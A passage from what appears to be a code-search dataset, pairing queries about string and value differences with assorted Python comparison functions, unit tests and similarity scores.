answered \\\"\\n f\\\"by typing something like the following into google (click the links to see the \\\"\\n f\\\"search results):\\\\n\\\\n\\\"\\n f\\\"['Japanese {query} difference']\\\"\\n f\\\"(https://www.google.com/search?q=japanese+{urlquery}+difference)\\\\n\\\"\\n f\\\"['{query} difference']\\\"\\n f\\\"(https://www.google.com/search?q={urlquery}+difference)\\\\n\\\"\\n f\\\"['{query} 違い']\\\"\\n f\\\"(https://www.google.com/search?q={urlquery}+違い)\\\\n\\\"\\n )\\n await hf.safe_send(ctx, embed=emb)\",\n \"def test_delta_val2(self):\\n d = Delta(\\\"+2.5-1.5\\\")\\n self.assertEqual(d.cmp(0, 1), False)\\n self.assertEqual(d.cmp(1, 3), False)\\n self.assertEqual(d.cmp(3, 1), True)\",\n \"def compare(self, other_sequence):\\n response = []\\n if self.name != other_sequence.name:\\n response.append('DIFF: Sequence names: %s' % self.name)\\n response.append('and %s' % other_sequence.name)\\n if self.increment_by != other_sequence.increment_by:\\n response.append('DIFF: Increment interval')\\n response.append('is %d,' % self.increment_by)\\n response.append('for %s' % other_sequence.name)\\n response.append('it is %d' % other_sequence.increment_by)\\n if self.min_value != other_sequence.min_value:\\n response.append('DIFF: Min value is %d' % self.min_value)\\n response.append(' for %s' % other_sequence.name)\\n response.append('it is %d' % other_sequence.min_value)\\n if self.max_value != other_sequence.max_value:\\n response.append('DIFF: Max value is %d' % self.max_value)\\n response.append(', for %s ' % other_sequence.name)\\n response.append('it is %d' % other_sequence.max_value)\\n # The only attribute we don't check is currval, becuase it will be \\n # different in 999 cases out of a 1000\\n return response\",\n \"def _its_remaining_time(cls, prefix, timeout, from_start_time):\\n already_passed = time.time() - from_start_time\\n remain_time = timeout - already_passed\\n if remain_time < 0.0:\\n remain_time = 0.0\\n msg = \\\"{} {:.3f} [sec], already passed {:.3f} [sec]\\\".format(prefix, remain_time, already_passed)\\n return remain_time, msg\",\n \"async def test_duration_replacement(self):\\n message = \\\"Current. The following should be replaced: {channel}.\\\"\\n await self.cog.send_message(message, *self.text_channels, alert_target=False)\\n\\n updated_message = message.format(channel=self.text_channels[0].mention)\\n self.text_channels[0].send.assert_awaited_once_with(updated_message)\\n self.text_channels[1].send.assert_not_called()\",\n \"def test_difference(self, client):\\n\\n expected = {\\n 'a': [0,2,4,6,8],\\n 'b': [4,6,8,10,12,14,16],\\n 'result': [0, 2]\\n }\\n\\n res = client.post('/api/v1/difference', json={'a': expected['a'], 'b': expected['b'] })\\n assert res.status_code == 200\\n assert res.json['data'] == expected['result']\\n assert res.json['status'] == 2000\",\n \"def PostProcessDiff(self, diff):\\r\\n return diff\",\n \"def check_diff(self, primary_perfdata):\\n exist, contains = self.cache.check_if_exists_and_contains(self.io_key)\\n compare_results = {}\\n\\n if exist:\\n result_to_compare = self.cache.get_pickled_dict(self.io_key)\\n compare_results['result1'] = result_to_compare\\n compare_results['result2'] = primary_perfdata\\n else:\\n self.cache.set_pickled_dict(self.io_key, primary_perfdata, expire=COMPARISON_TTL)\\n raise CheckError('No data to compare with')\\n\\n self.cache.set_pickled_dict(self.io_key, compare_results['result2'], expire=COMPARISON_TTL)\\n\\n return self.compare_results_data(compare_results['result1'], compare_results['result2'])\",\n \"def __compare_results(self, expected, result, test_case, time):\\n # type: (str, str, str, datetime.datetime) -> None\\n if expected == result:\\n self.pass_test(test_case, time)\\n else:\\n self.fail_test(test_case, time,\\n error=\\\"(expected:received) (\\\" + expected + \\\":\\\" +\\n result + \\\")\\\")\",\n \"def check_errorCue_delays(data, **_):\\n metric = np.nan_to_num(data[\\\"errorCue_times\\\"] - data[\\\"errorCueTrigger_times\\\"], nan=np.inf)\\n passed = ((metric <= 0.0015) & (metric > 0)).astype(float)\\n passed[data[\\\"correct\\\"]] = metric[data[\\\"correct\\\"]] = np.nan\\n assert data[\\\"intervals\\\"].shape[0] == len(metric) == len(passed)\\n return metric, passed\",\n \"def cmpDelta(self, conn1, sql1, conn2, sql2, delta_perc):\\n for row in self.get_query_results(conn1, sql1):\\n res1 = row[0]\\n for row in self.get_query_results(conn2, sql2):\\n res2 = row[0]\\n self.log.info(\\n \\\"cmpDelta:: task: {}, value1: {}, value2: {}\\\".format(\\n self.task_id, str(res1), str(res2)\\n )\\n )\\n\\n try:\\n if (abs(res1 - res2) / res1) * 100 > delta_perc:\\n raise AirflowException(\\n f\\\"\\\"\\\"EtlValidation cmpDeltaError: Query results delta greater than {delta_perc}%\\nQuery 1:\\n{sql1}\\nResult: {res1}\\n<>\\nQuery 2:\\n{sql2}\\nResult: {res2}\\\"\\\"\\\"\\n )\\n except ZeroDivisionError:\\n if res1 != res2:\\n raise AirflowException(\\n f\\\"Ran into ZeroDivisionError where res1 = 0 and res2 = {res2}\\\"\\n )\",\n \"def test_delta_val5(self):\\n d = Delta(\\\"+-25=%\\\")\\n self.assertEqual(d.cmp(0, 1), False)\\n self.assertEqual(d.cmp(8, 4), True)\\n self.assertEqual(d.cmp(8, 6), True)\",\n \"def test_message_roundtrip(self):\\n with open(MESSAGES_LOG_FILE, \\\"rb\\\") as fd:\\n for line in fd:\\n timestamp, msg_data = line.split(b\\\",\\\", 1)\\n assert msg_data.endswith(b\\\"\\\\r\\\\n\\\")\\n msg = message.fromString(msg_data)\\n recovered_msg_data = message.toString(msg)\\n\\n # Ideally, I would like to be able to check msg_data agsint\\n # the recovered_msg_data but because of string stripping this\\n # is not possible.\\n # self.assertEqual(recovered_msg_data, msg_data)\\n\\n # Therefore convert the recovered string back into a message\\n # object and compare that.\\n recovered_msg = message.fromString(recovered_msg_data)\\n self.assertEqual(recovered_msg, msg)\",\n \"def test4(self):\\n i = 0\\n while i < 2**5:\\n message = i * 'a'\\n res = self.compare(message)\\n if res is not None:\\n d1, d2 = res\\n self.print_diff(message, d1, d2)\\n assert res is None\\n i += 1\",\n \"def test_frame_change(self):\\n cmd = FrameChange(phase=0.1)\\n instruction = cmd(MeasureChannel(0))\\n\\n qobj = PulseQobjInstruction(name='fc', ch='m0', t0=0, phase=0.1)\\n converted_instruction = self.converter(qobj)\\n\\n self.assertEqual(converted_instruction.timeslots, instruction.timeslots)\\n self.assertEqual(converted_instruction.instructions[0][-1].command, cmd)\",\n \"async def handle_less(message: types.Message):\\n await handle_change_threshold(message, 1 / 1.5)\",\n \"def time_difference(sorted_upd):\\n keys = []\\n values = []\\n for i in range(len(sorted_upd) - 1):\\n difference = sorted_upd[i + 1]['timestamp'] - sorted_upd[i]['timestamp']\\n if difference > float(Config.BOUNDARY):\\n keys.append((sorted_upd[i]['timestamp'], sorted_upd[i + 1]['timestamp']))\\n values.append(difference)\\n time_diff = dict(zip(keys, values))\\n Config.ANALYSIS.write(f\\\"regular time greater than {Config.BOUNDARY}s: {time_diff}\\\\n\\\\n\\\")\\n return time_diff\",\n \"def test2(self):\\n cases = (\\n \\\"123\\\",\\n \\\"1234\\\",\\n \\\"12345\\\",\\n \\\"123456\\\",\\n \\\"1234567\\\",\\n \\\"12345678\\\",\\n \\\"123456789 123456789 123456789 \\\",\\n \\\"123456789 123456789 \\\",\\n \\\"123456789 123456789 1\\\",\\n \\\"123456789 123456789 12\\\",\\n \\\"123456789 123456789 123\\\",\\n \\\"123456789 123456789 1234\\\",\\n \\\"123456789 123456789 123456789 1\\\",\\n \\\"123456789 123456789 123456789 12\\\",\\n \\\"123456789 123456789 123456789 123\\\",\\n \\\"123456789 123456789 123456789 1234\\\",\\n \\\"123456789 123456789 123456789 12345\\\",\\n \\\"123456789 123456789 123456789 123456\\\",\\n \\\"123456789 123456789 123456789 1234567\\\",\\n \\\"123456789 123456789 123456789 12345678\\\",\\n )\\n\\n for i in range(len(cases)):\\n res = self.compare(cases[i][0])\\n if res is not None:\\n d1, d2 = res\\n message = cases[i][0]\\n self.print_diff(message, d1, d2)\\n assert res is None\",\n \"def getMasterDiff(new, old):\\n diff = ethercat_monitor.msg.EtherCATMasterStatus()\\n diff.sent = new.sent - old.sent\\n diff.dropped = new.dropped - old.dropped\\n diff.late = new.late - old.late\\n diff.unassigned_drops = new.unassigned_drops - old.unassigned_drops\\n return diff\",\n \"def test_check_replication_crit_lag(self, mock_timestamp):\\n base_url = 'http://localhost:6000/recon/'\\n jdata = b'{\\\"replication_last\\\": 1493299546.629282, ' \\\\\\n b'\\\"replication_stats\\\": {\\\"no_change\\\": 0, \\\"rsync\\\": 0, ' \\\\\\n b'\\\"success\\\": 0, \\\"failure\\\": 0, \\\"attempted\\\": 0, \\\"ts_repl\\\": 0, ' \\\\\\n b'\\\"remove\\\": 0, \\\"remote_merge\\\": 0, \\\"diff_capped\\\": 0, ' \\\\\\n b'\\\"start\\\": 1493299546.621624, \\\"hashmatch\\\": 0, \\\"diff\\\": 0, ' \\\\\\n b'\\\"empty\\\": 0}, \\\"replication_time\\\": 0.0076580047607421875}'\\n pmock_jdata = PropertyMock(return_value=jdata)\\n mock_timestamp.return_value = (MagicMock(days=0, seconds=12), 0)\\n with patch('urllib.request.urlopen') as mock_urlopen:\\n mock_urlopen.return_value = MagicMock(read=pmock_jdata)\\n result = check_replication(base_url, [4, 10, 4, 10])\\n self.assertEqual(result,\\n [(STATUS_CRIT,\\n \\\"'{}' replication lag is \\\"\\n \\\"12 seconds\\\".format(repl))\\n for repl in ('account', 'object', 'container')])\",\n \"def test_calculate_supervisory_delta_put(self):\\n SDP = calculate_supervisory_delta_put()\\n \\n self.assertEqual(SDP, -0.27)\",\n \"def assertTPsEqual(self, tp1, tp2):\\n self.assertEqual(tp1, tp2, tp1.diff(tp2))\\n self.assertTrue(fdrutilities.tpDiff2(tp1, tp2, 1, False))\",\n \"def test_ddiff_v2(self):\\n print \\\"\\\\n\\\"\\n for d in ddiff_v2(a, b): print d\\n self.assertEqual(d, \\\"+FUN\\\")\",\n \"def _ValueMismatch(how_much):\\n return 'Values mismatch, %s' % how_much\",\n \"def get_delay_diff(self):\\n if type(self.apply_delay) is not int:\\n err = 'ReplicationDelay().get_delay_diff(): '\\\\\\n 'the self.apply_dilay should be an integer'\\n raise ValueError(err)\\n\\n if self.current_time_lag_min:\\n self.delay_diff = self.apply_delay - self.current_time_lag_min\\n return self.delay_diff\\n else:\\n # Delay setting not found in a recovery.conf,\\n # or a database is not in recovery mode:\\n return 0\",\n \"def differences(actual, expected, f_actual, f_expected):\\n if not actual.equals(expected):\\n msg = \\\"COMPARE RESULTS DIFFER\\\\n\\\"\\n msg += \\\"-------------------------------------------------\\\\n\\\"\\n msg += \\\"--- NEW RESULTS IN {} FILE ---\\\\n\\\"\\n msg += \\\"--- if new OK, copy {} to ---\\\\n\\\"\\n msg += \\\"--- {} ---\\\\n\\\"\\n msg += \\\"--- and rerun test. ---\\\\n\\\"\\n msg += \\\"-------------------------------------------------\\\\n\\\"\\n raise ValueError(msg.format(f_actual, f_actual, f_expected))\",\n \"def test_delta_val6(self):\\n d = Delta(\\\"+50-25=%\\\")\\n self.assertEqual(d.cmp(0, 1), False)\\n self.assertEqual(d.cmp(8, 4), True)\\n self.assertEqual(d.cmp(8, 6), True)\\n self.assertEqual(d.cmp(6, 8), False)\\n self.assertEqual(d.cmp(6, 9), True)\",\n \"def test_numprops_different_pct(self):\\n # Perform diff.\\n minus, plus = 10, 20\\n df = Differ(\\n key=\\\"name\\\", deltas={\\\"energy\\\": Delta(\\\"+{}-{}=%\\\".format(plus, minus))}\\n )\\n d = df.diff(*self.engines)\\n\\n # Calculate expected results.\\n def is_different(a, b):\\n pct = 100.0 * (b - a) / a\\n return pct <= -minus or pct >= plus\\n\\n changed = sum((int(is_different(e[0], e[1])) for e in self.energies))\\n\\n # Check results.\\n if len(d[Differ.CHANGED]) != changed:\\n result = d[Differ.CHANGED]\\n msg = \\\"Values:\\\\n\\\"\\n for i, e in enumerate(self.energies):\\n if not is_different(*e):\\n continue\\n msg += \\\"{:d}) {:f} {:f}\\\\n\\\".format(i, e[0], e[1])\\n msg += \\\"Result:\\\\n\\\"\\n for i, r in enumerate(result):\\n msg += \\\"{:d}) {} {}\\\\n\\\".format(i, r[\\\"old\\\"], r[\\\"new\\\"])\\n self.assertEqual(len(d[Differ.CHANGED]), changed, msg=msg)\",\n \"def validated(old, new):\\n return ((old.get('last_valid_on'), old.get('last_invalid_on')) !=\\n (new.get('last_valid_on'), new.get('last_invalid_on')))\",\n \"def test_ddiff_v1(self):\\n print \\\"\\\\n\\\"\\n for d in ddiff_v1(a, b): print d\\n self.assertEqual(d, \\\"+FUN\\\")\",\n \"def test_delta_val4(self):\\n d = Delta(\\\"+-25%\\\")\\n self.assertEqual(d.cmp(0, 1), False)\\n self.assertEqual(d.cmp(8, 4), True)\\n self.assertEqual(d.cmp(8, 6), False)\",\n \"def testCalculateTranslationDiff(self):\\n # Test Identity\\n transform1 = numpy.eye(4)\\n transform2 = numpy.eye(4)\\n (result, _) = self.evaluator._calculateDifference(transform1, transform2)\\n self.assertEqual(result, 0.0)\\n # Test nonzero\\n vector1 = numpy.array([3.0, 4.0, 5.0]).transpose()\\n transform1[0:3, 3] = vector1\\n vector2 = numpy.array([-10.0, -11.5, -12.75]).transpose()\\n transform2[0:3, 3] = vector2\\n (result, _) = self.evaluator._calculateDifference(transform1, transform2)\\n self.assertAlmostEqual(result, 26.9130545, 6)\\n # Order shouldn't matter\\n (result, _) = self.evaluator._calculateDifference(transform2, transform1)\\n self.assertAlmostEqual(result, 26.9130545, 6)\",\n \"def compare_fields(command, old_object, new_object, fields, update=False):\\n differences = []\\n for field in fields:\\n if not compare_values_for_equality(getattr(old_object, field),\\n getattr(new_object, field)):\\n differences.append('{} previously recorded as {}, '\\n 'now {}'\\n .format(field,\\n str(getattr(old_object, field)),\\n str(getattr(new_object, field))))\\n if update:\\n setattr(old_object, field, getattr(new_object, field))\\n old_object.save()\\n\\n if differences:\\n command.stderr.write(\\n 'WARNING: Record {} had these changes: {}\\\\n'\\n .format(str(new_object), str([d for d in differences])))\\n\\n if update:\\n command.stderr.write(\\n '\\\\tThe database was updated to reflect the changes\\\\n\\\\n')\\n else:\\n command.stderr.write(\\n '\\\\tThe database was NOT updated to reflect the changes\\\\n\\\\n')\\n return False\\n\\n else:\\n return True\",\n \"def remaining_ms():\",\n \"def test_diferencia_porcentual_menor(self):\\r\\n valorNuevo = 10\\r\\n valorAnterior = 0\\r\\n self.assertEqual(diferenciaPorcentual(valorNuevo, valorAnterior), -999999)\",\n \"def test_logentry_change_message(self):\\n post_data = {\\n \\\"site\\\": self.site.pk,\\n \\\"title\\\": \\\"Changed\\\",\\n \\\"hist\\\": \\\"Some content\\\",\\n \\\"created_0\\\": \\\"2008-03-12\\\",\\n \\\"created_1\\\": \\\"11:54\\\",\\n }\\n change_url = reverse(\\n \\\"admin:admin_utils_article_change\\\", args=[quote(self.a1.pk)]\\n )\\n response = self.client.post(change_url, post_data)\\n self.assertRedirects(response, reverse(\\\"admin:admin_utils_article_changelist\\\"))\\n logentry = LogEntry.objects.filter(\\n content_type__model__iexact=\\\"article\\\"\\n ).latest(\\\"id\\\")\\n self.assertEqual(logentry.get_change_message(), \\\"Changed Title and History.\\\")\\n with translation.override(\\\"fr\\\"):\\n self.assertEqual(\\n logentry.get_change_message(), \\\"Modification de Title et Historique.\\\"\\n )\\n\\n add_url = reverse(\\\"admin:admin_utils_article_add\\\")\\n post_data[\\\"title\\\"] = \\\"New\\\"\\n response = self.client.post(add_url, post_data)\\n self.assertRedirects(response, reverse(\\\"admin:admin_utils_article_changelist\\\"))\\n logentry = LogEntry.objects.filter(\\n content_type__model__iexact=\\\"article\\\"\\n ).latest(\\\"id\\\")\\n self.assertEqual(logentry.get_change_message(), \\\"Added.\\\")\\n with translation.override(\\\"fr\\\"):\\n self.assertEqual(logentry.get_change_message(), \\\"Ajout.\\\")\",\n \"def utility_diff_from_transaction(\\n self, ownership_state: BaseOwnershipState, tx_message: TransactionMessage\\n ) -> float:\\n assert self.is_initialized, \\\"Preferences params not set!\\\"\\n ownership_state = cast(OwnershipState, ownership_state)\\n current_score = self.utility(\\n quantities_by_good_id=ownership_state.quantities_by_good_id,\\n amount_by_currency_id=ownership_state.amount_by_currency_id,\\n )\\n new_ownership_state = ownership_state.apply_transactions([tx_message])\\n new_score = self.utility(\\n quantities_by_good_id=new_ownership_state.quantities_by_good_id,\\n amount_by_currency_id=new_ownership_state.amount_by_currency_id,\\n )\\n score_difference = new_score - current_score\\n return score_difference\",\n \"def test_transfer(self):\\n class MockSender(object):\\n def evolve(self, t, dt):\\n self.x = t**2 + t + 1\\n\\n class MockReceiver(object):\\n def __init__(self):\\n self.rec = None\\n\\n def evolve(self, t, dt):\\n pass\\n\\n S = MockSender()\\n R = MockReceiver()\\n C = Connector(S, 'x', R, 'rec', order=0.5)\\n\\n tmax = 10.0\\n dt = 0.1\\n\\n M = simulation.StateMonitor(R, 'rec')\\n\\n sim = simulation.Simulation(S, R, C, M, dt=dt)\\n sim.run(tmax)\\n\\n expected = (M.t**2 + M.t + 1)\\n\\n self.assertAlmostEqual(np.mean(np.abs(expected - M.rec[0])), 0.0)\",\n \"def confirm_unchanged(packet, original, protocol, changed):\\n for header in packet.layers:\\n if packet.layers[header].protocol != protocol:\\n continue\\n for field in packet.layers[header].fields:\\n # Skip checking the field we just changed\\n if field in changed or field == \\\"load\\\":\\n continue\\n assert packet.get(protocol.__name__, field) == original.get(protocol.__name__, field), \\\"Tamper changed %s field %s.\\\" % (str(protocol), field)\\n return True\",\n \"def lightening_reply_tally(user_name, msg_logs, scorecard_map):\\n if not msg_logs:\\n return\\n\\n prev_msg_ts = 0\\n is_prev_msg_outgoing = is_my_outgoing_msg(ujson.loads(msg_logs[0][0]))\\n\\n for row in msg_logs:\\n msg = ujson.loads(row[0])\\n msg_ts = msg['CreateTime']\\n time_delta = msg_ts - prev_msg_ts\\n\\n if is_my_outgoing_msg(msg):\\n if not is_prev_msg_outgoing and time_delta <= ONE_MIN:\\n # I replied quickly, bump my p value\\n scorecard_map[user_name].my_pval += (60 - time_delta) / 120\\n else:\\n if is_prev_msg_outgoing and time_delta <= ONE_MIN:\\n # Someone replied quickly, bump their p value\\n scorecard_map[user_name].their_pval += (60 - time_delta) / 120\\n\\n prev_msg_ts = msg_ts\\n is_prev_msg_outgoing = is_my_outgoing_msg(msg)\",\n \"def diff(self):\\n\\t\\tif len(self.v) < 4:\\n\\t\\t\\treturn None\\n\\t\\tif self.poli == None:\\n\\t\\t\\tself.generar_polinomio()\\n\\t\\tif x != None:\\n\\t\\t\\treturn diff(self.poli)(x)\\n\\t\\treturn diff(self.poli)\",\n \"def test_delta_minus(self):\\n d = Delta(\\\"-50\\\")\\n self.assertEqual(d.cmp(0, 50), False)\\n self.assertEqual(d.cmp(51, 0), True)\\n self.assertEqual(d.cmp(5, 10), False)\\n d = Delta(\\\"-50=\\\")\\n self.assertEqual(d.cmp(50, 0), True)\\n d = Delta(\\\"-50%\\\")\\n self.assertEqual(d.cmp(25, 10), True)\\n self.assertEqual(d.cmp(10, 25), False)\",\n \"def recv_expect_line2(self, expected_msg):\\n response = self.send_life_soc.recv(self.packet_len).decode('utf-8')\\n if response != expected_msg:\\n raise ValueError('Error: Invalid response from server, expecting %s got %s' % (expected_msg, response))\",\n \"def patch_data():\\n return json.loads('{\\\"success\\\":true, \\\"message\\\":\\\"Field of data updated (but not really)\\\" }')\",\n \"def changed(self):\\r\\n return self.value != self.previous_value\",\n \"def changed(self):\\r\\n return self.value != self.previous_value\",\n \"def test_travel_down_with_updates(self):\\n travelcalculator = TravelCalculator(25, 50)\\n with patch(\\\"time.time\\\") as mock_time:\\n mock_time.return_value = 1580000000.0\\n travelcalculator.set_position(40)\\n travelcalculator.start_travel(100) # 15 seconds to reach 100\\n\\n # time not changed, still at beginning\\n assert travelcalculator.current_position() == 40\\n assert not travelcalculator.position_reached()\\n assert travelcalculator.travel_direction == TravelStatus.DIRECTION_DOWN\\n\\n mock_time.return_value = 1580000002.0\\n assert travelcalculator.current_position() == 48\\n assert not travelcalculator.position_reached()\\n # update from bus matching calculation\\n travelcalculator.update_position(48)\\n assert travelcalculator.current_position() == 48\\n assert not travelcalculator.position_reached()\\n\\n mock_time.return_value = 1580000010.0\\n assert travelcalculator.current_position() == 80\\n assert not travelcalculator.position_reached()\\n # update from bus not matching calculation takes precedence (1 second slower)\\n travelcalculator.update_position(76)\\n assert travelcalculator.current_position() == 76\\n assert not travelcalculator.position_reached()\\n # travel time extended by 1 second due to update from bus\\n mock_time.return_value = 1580000015.0\\n assert travelcalculator.current_position() == 96\\n assert not travelcalculator.position_reached()\\n mock_time.return_value = 1580000015.0 + 1\\n assert travelcalculator.current_position() == 100\\n assert travelcalculator.position_reached()\",\n \"def _cached_state_diff_message(event: Event) -> str:\\n return message_to_json(\\n {\\\"id\\\": IDEN_TEMPLATE, \\\"type\\\": \\\"event\\\", \\\"event\\\": _state_diff_event(event)}\\n )\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.59433705","0.58866566","0.5741213","0.57070243","0.56107557","0.5602087","0.55542886","0.55195427","0.5489824","0.53829694","0.53829694","0.5382785","0.53190625","0.53040767","0.5303886","0.5302495","0.52817154","0.5278376","0.52559036","0.5226828","0.5223806","0.5215219","0.5214317","0.51979643","0.518834","0.5172214","0.5163963","0.51633716","0.5144773","0.5136406","0.5125435","0.512374","0.5123337","0.51136565","0.5108486","0.51078117","0.50995475","0.5096212","0.50904614","0.5080757","0.50774515","0.5073964","0.50709885","0.50593776","0.50466096","0.50289553","0.5027875","0.50273854","0.500996","0.500399","0.50012916","0.50000376","0.49881297","0.4983254","0.49817747","0.49811023","0.4978093","0.49780864","0.49772447","0.49756226","0.49587238","0.49524063","0.4951371","0.4948026","0.49456167","0.4941156","0.49345455","0.4920853","0.49179217","0.4912452","0.49116075","0.4884755","0.48707262","0.4867163","0.48652327","0.48634434","0.4862738","0.48517781","0.48494467","0.48412624","0.48407626","0.48355752","0.48333934","0.48332006","0.48308247","0.48234856","0.48196936","0.48195663","0.48182654","0.4811353","0.48083407","0.4788473","0.4781326","0.477544","0.47723064","0.47701538","0.4769064","0.4769064","0.47688088","0.4766373"],"string":"[\n \"0.59433705\",\n \"0.58866566\",\n \"0.5741213\",\n \"0.57070243\",\n \"0.56107557\",\n \"0.5602087\",\n \"0.55542886\",\n \"0.55195427\",\n \"0.5489824\",\n \"0.53829694\",\n \"0.53829694\",\n \"0.5382785\",\n \"0.53190625\",\n \"0.53040767\",\n \"0.5303886\",\n \"0.5302495\",\n \"0.52817154\",\n \"0.5278376\",\n \"0.52559036\",\n \"0.5226828\",\n \"0.5223806\",\n \"0.5215219\",\n \"0.5214317\",\n \"0.51979643\",\n \"0.518834\",\n \"0.5172214\",\n \"0.5163963\",\n \"0.51633716\",\n \"0.5144773\",\n \"0.5136406\",\n \"0.5125435\",\n \"0.512374\",\n \"0.5123337\",\n \"0.51136565\",\n \"0.5108486\",\n \"0.51078117\",\n \"0.50995475\",\n \"0.5096212\",\n \"0.50904614\",\n \"0.5080757\",\n \"0.50774515\",\n \"0.5073964\",\n \"0.50709885\",\n \"0.50593776\",\n \"0.50466096\",\n \"0.50289553\",\n \"0.5027875\",\n \"0.50273854\",\n \"0.500996\",\n \"0.500399\",\n \"0.50012916\",\n \"0.50000376\",\n \"0.49881297\",\n \"0.4983254\",\n \"0.49817747\",\n \"0.49811023\",\n \"0.4978093\",\n \"0.49780864\",\n \"0.49772447\",\n \"0.49756226\",\n \"0.49587238\",\n \"0.49524063\",\n \"0.4951371\",\n \"0.4948026\",\n \"0.49456167\",\n \"0.4941156\",\n \"0.49345455\",\n \"0.4920853\",\n \"0.49179217\",\n \"0.4912452\",\n \"0.49116075\",\n \"0.4884755\",\n \"0.48707262\",\n \"0.4867163\",\n \"0.48652327\",\n \"0.48634434\",\n \"0.4862738\",\n \"0.48517781\",\n \"0.48494467\",\n \"0.48412624\",\n \"0.48407626\",\n \"0.48355752\",\n \"0.48333934\",\n \"0.48332006\",\n \"0.48308247\",\n \"0.48234856\",\n \"0.48196936\",\n \"0.48195663\",\n \"0.48182654\",\n \"0.4811353\",\n \"0.48083407\",\n \"0.4788473\",\n \"0.4781326\",\n \"0.477544\",\n \"0.47723064\",\n \"0.47701538\",\n \"0.4769064\",\n \"0.4769064\",\n \"0.47688088\",\n \"0.4766373\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7136184"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":80096,"cells":{"query":{"kind":"string","value":"Unify operations between two compared strings seqm is a difflib. SequenceMatcher instance whose a & b are strings"},"document":{"kind":"string","value":"def show_diff(text, n_text):\n seqm = difflib.SequenceMatcher(None, text, n_text)\n output= []\n for opcode, a0, a1, b0, b1 in seqm.get_opcodes():\n if opcode == 'equal':\n output.append(seqm.a[a0:a1])\n elif opcode == 'insert':\n output.append(colored(seqm.b[b0:b1],'red'))\n elif opcode == 'delete':\n output.append(colored(seqm.a[a0:a1],'blue'))\n elif opcode == 'replace':\n output.append(colored(seqm.b[b0:b1],'green'))\n return ''.join(output)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def makediff(s1, s2):\n import difflib\n differ = difflib.SequenceMatcher()\n differ.set_seqs(s1, s2)\n #debug = False\n s1new = [ ]\n s2new = [ ]\n previousOp = None\n for op, i1, i2, j1, j2 in differ.get_opcodes():\n #if debug: print \"top\"\n #if debug: print op, i1, i2, j1, j2, '->'\n #if debug: print s1, s2\n if op == 'equal':\n #if i2-i1 < 4 and len(s1new) > 1 and previousOp == \"replace\":\n # s1new[-2] += escape(s1[i1:i2])\n # s2new[-2] += escape(s2[j1:j2])\n #else:\n s1new.append(escape(s1[i1:i2]))\n s2new.append(escape(s2[j1:j2]))\n elif op == 'insert':\n s2new.extend(('<b>', escape(s2[j1:j2]), '</b>'))\n elif op == \"delete\":\n s1new.extend(('<b><strike>', escape(s1[i1:i2]), '</strike></b>'))\n elif op == 'replace':\n s1new.extend(('<b><strike>', escape(s1[i1:i2]), '</strike></b>'))\n s2new.extend(('<b>', escape(s2[j1:j2]), '</b>'))\n previousOp = op\n #if debug: print s1, s2\n #if debug: print \"bottom\"\n #if debug: print \"done\"\n return ''.join(s1new), ''.join(s2new)","def string_similarity(a, b):\n return SequenceMatcher(a=a, b=b).ratio()","def align(src, tgt):\n\n sm = SequenceMatcher(a=list(map(lambda x: x[0], tgt)), b=list(map(lambda x: x[0], src)))\n tgt_temp, src_temp = [], []\n opcodes = sm.get_opcodes()\n for tag, i1, i2, j1, j2 in opcodes:\n # If they are equal, do nothing except lowercase them\n if tag == 'equal':\n for i in range(i1, i2):\n tgt[i][1] = 'e'\n tgt_temp.append(tgt[i])\n for i in range(j1, j2):\n src[i][1] = 'e'\n src_temp.append(src[i])\n # For insertions and deletions, put a filler of '***' on the other one, and\n # make the other all caps\n elif tag == 'delete':\n for i in range(i1, i2):\n tgt[i][1] = 'd'\n tgt_temp.append(tgt[i])\n for i in range(i1, i2):\n src_temp.append(tgt[i])\n elif tag == 'insert':\n for i in range(j1, j2):\n src[i][1] = 'i'\n tgt_temp.append(src[i])\n for i in range(j1, j2):\n src_temp.append(src[i])\n # More complicated logic for a substitution\n elif tag == 'replace':\n for i in range(i1, i2):\n tgt[i][1] = 's'\n for i in range(j1, j2):\n src[i][1] = 's'\n tgt_temp += tgt[i1:i2]\n src_temp += src[j1:j2]\n \n src, tgt = GumarDataset.align_subsequences(src_temp, tgt_temp)\n return src, tgt","def diff(s0, s1):\n from difflib import ndiff\n lst0 = s0.split(\"\\n\")\n lst1 = s1.split(\"\\n\")\n report = '\\n'.join(ndiff(lst0, lst1))\n return report","def diff(s0, s1):\n from difflib import ndiff\n lst0 = s0.split(\"\\n\")\n lst1 = s1.split(\"\\n\")\n report = '\\n'.join(ndiff(lst0, lst1))\n return report","def show_diff(seqm):\n output= []\n \n for opcode, a0, a1, b0, b1 in seqm.get_opcodes():\n if opcode == 'equal':\n output.append(seqm.a[a0:a1])\n elif opcode == 'insert':\n output.append(INS_START_SYM + seqm.b[b0:b1] + INS_END_SYM)\n elif opcode == 'delete':\n output.append(DEL_START_SYM + seqm.a[a0:a1] + DEL_END_SYM)\n elif opcode == 'replace':\n output.append(DEL_START_SYM + seqm.a[a0:a1] + DEL_END_SYM)\n output.append(INS_START_SYM + seqm.b[b0:b1] + INS_END_SYM)\n else:\n raise RuntimeError\n return ''.join(output)","def __diff(text_a, text_b):\n import difflib\n\n diff = None\n\n try:\n diff = [li for li in difflib.ndiff(text_a, text_b) if li[0] != ' ']\n except TypeError as err:\n print(err)\n\n diff_a = \"\"\n diff_b = \"\"\n\n if not diff:\n return \"There was a problem with the diff!\", \"There was a problem with the diff!\"\n\n for _diff in diff:\n if \"+\" in _diff:\n diff_a += _diff.replace(\"+ \", \"\")\n elif \"-\" in _diff:\n diff_b += _diff.replace(\"- \", \"\")\n\n return diff_a, diff_b","def compare_sentences(sentence_a, sentence_b, extra_splits=DEFAULT_SPLITTERS):\n\n def split_sentence(sentence):\n reworked_sentence = sentence.strip()\n for chars in extra_splits:\n reworked_sentence = reworked_sentence.replace(chars, ' ')\n return reworked_sentence.split()\n\n reworked_a = split_sentence(sentence_a)\n reworked_b = split_sentence(sentence_b)\n return compare_iterables(reworked_a, reworked_b)","def __CompareText1(self, s1, s2,result):\n # lines with tag that are excluded by hand (by the user) \n s0_excluded=list()\n for l0 in self.excluded_lines.splitlines():\n s0_excluded.append(l0.strip()) \n\n s1_filtered=list()\n s2_filtered=list() \n for l1 in s1.splitlines(): \n if l1.__contains__(self.stdout_tag): \n check=0\n for k in s0_excluded: \n if l1.__contains__(k): 